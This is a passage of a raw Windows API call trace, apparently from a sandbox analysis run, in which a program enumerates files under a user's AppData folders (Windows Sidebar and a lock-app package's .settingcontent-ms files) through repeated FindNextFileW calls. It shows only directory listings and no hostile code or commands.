ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.783] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0219.783] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d053a9f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d053a9f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0219.783] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.784] FindClose (in: hFindFile=0x1d1f4150 | out: hFindFile=0x1d1f4150) returned 1 [0219.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0219.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0219.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0219.784] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x3d [0219.784] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0219.784] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.784] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0219.784] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d053a9f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d053a9f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0221.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0221.095] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AC", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AC", lpFilePart=0x0) returned 0x65 [0221.095] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\ac\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x89a66c47, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a66c47, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a66c47, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.892] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5d629c, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfb5d629c, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageAccountsUsers.settingcontent-ms", cAlternateFileName="AAF973~1.SET")) returned 1 [0222.893] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbc3e966, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfbc3e966, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageActivate.settingcontent-ms", cAlternateFileName="AAFE78~1.SET")) returned 1 [0222.893] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe2e789, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfbe2e789, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageAppsDefaults.settingcontent-ms", cAlternateFileName="AA91CC~1.SET")) returned 1 [0222.893] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfd20c1, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfbfd20c1, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageAppsDefaultsFileExtensionView.settingcontent-ms", cAlternateFileName="AA86F6~1.SET")) returned 1 [0222.893] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc25a894, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfc25a894, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageAppsDefaultsProtocolView.settingcontent-ms", cAlternateFileName="AA13B2~1.SET")) returned 1 [0222.893] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc5c7f08, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfc5c7f08, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageAppsNotifications.settingcontent-ms", cAlternateFileName="AAF9A5~1.SET")) returned 1 [0222.894] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc71f7fa, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfc71f7fa, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageBackground.settingcontent-ms", cAlternateFileName="AA064F~1.SET")) returned 1 [0222.894] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc95ba08, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfc95ba08, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageBatterySaver.settingcontent-ms", cAlternateFileName="AA8E4E~1.SET")) returned 1 [0222.894] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcbe3e9d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfcbe3e9d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageColors.settingcontent-ms", cAlternateFileName="AAB06B~1.SET")) returned 1 [0222.894] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd1415ac, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfd1415ac, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageDataSenseOverview.settingcontent-ms", cAlternateFileName="AAF001~1.SET")) returned 1 [0222.894] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6b8695, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfd6b8695, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageDevicesPen.settingcontent-ms", cAlternateFileName="AABBC2~1.SET")) returned 1 [0222.895] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd98d42b, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfd98d42b, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageDevicesPrinters.settingcontent-ms", cAlternateFileName="AAE8DA~1.SET")) returned 1 [0222.895] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe172fc6, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfe172fc6, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessClosedCaptioning.settingcontent-ms", cAlternateFileName="AAAB49~1.SET")) returned 1 [0222.895] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe683ed2, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfe683ed2, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessHighContrast.settingcontent-ms", cAlternateFileName="AA2192~1.SET")) returned 1 [0222.895] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec53c5e, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xfec53c5e, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessKeyboard.settingcontent-ms", cAlternateFileName="AA0CA5~1.SET")) returned 1 [0222.895] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff64fa62, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xff64fa62, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessMagnifier.settingcontent-ms", cAlternateFileName="AABD4A~1.SET")) returned 1 [0222.896] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a20be, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a20be, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessMoreOptions.settingcontent-ms", cAlternateFileName="AA913F~1.SET")) returned 1 [0222.896] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30775, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xc30775, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessMouse.settingcontent-ms", cAlternateFileName="AA05B3~1.SET")) returned 1 [0222.896] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1488bb9, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1488bb9, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageEaseOfAccessNarrator.settingcontent-ms", cAlternateFileName="AAEDFB~1.SET")) returned 1 [0222.896] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c6e696, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1c6e696, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageLockScreen.settingcontent-ms", cAlternateFileName="AA6364~1.SET")) returned 1 [0222.901] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b1a2e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x29b1a2e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageMaps.settingcontent-ms", cAlternateFileName="AA31EA~1.SET")) returned 1 [0222.901] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3767165, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x3767165, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageMultiTasking.settingcontent-ms", cAlternateFileName="AA9989~1.SET")) returned 1 [0222.901] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f26c92, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x3f26c92, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkAirplaneMode.settingcontent-ms", cAlternateFileName="AA619A~1.SET")) returned 1 [0222.902] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a6f05, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55a6f05, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkDialup.settingcontent-ms", cAlternateFileName="AA0465~1.SET")) returned 1 [0222.902] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8cca0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5d8cca0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkDirectAccess.settingcontent-ms", cAlternateFileName="AA896E~1.SET")) returned 1 [0222.902] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fb07e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x67fb07e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkEthernet.settingcontent-ms", cAlternateFileName="AA39CE~1.SET")) returned 1 [0222.902] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fea519, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x8fea519, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkMobileBroadband.settingcontent-ms", cAlternateFileName="AAF71D~1.SET")) returned 1 [0222.902] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e63e4, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x99e63e4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkMobileHotspot.settingcontent-ms", cAlternateFileName="AA6FDD~1.SET")) returned 1 [0222.903] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1a5e70, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xa1a5e70, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkProxy.settingcontent-ms", cAlternateFileName="AA16BE~1.SET")) returned 1 [0222.903] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd2f90, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xacd2f90, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkVPN.settingcontent-ms", cAlternateFileName="AAE339~1.SET")) returned 1 [0222.903] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5515c4, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb5515c4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkWiFi.settingcontent-ms", cAlternateFileName="AA60E9~1.SET")) returned 1 [0222.903] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad4de5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xbad4de5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPageNetworkWorkplace.settingcontent-ms", cAlternateFileName="AA3ED6~1.SET")) returned 1 [0222.903] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, 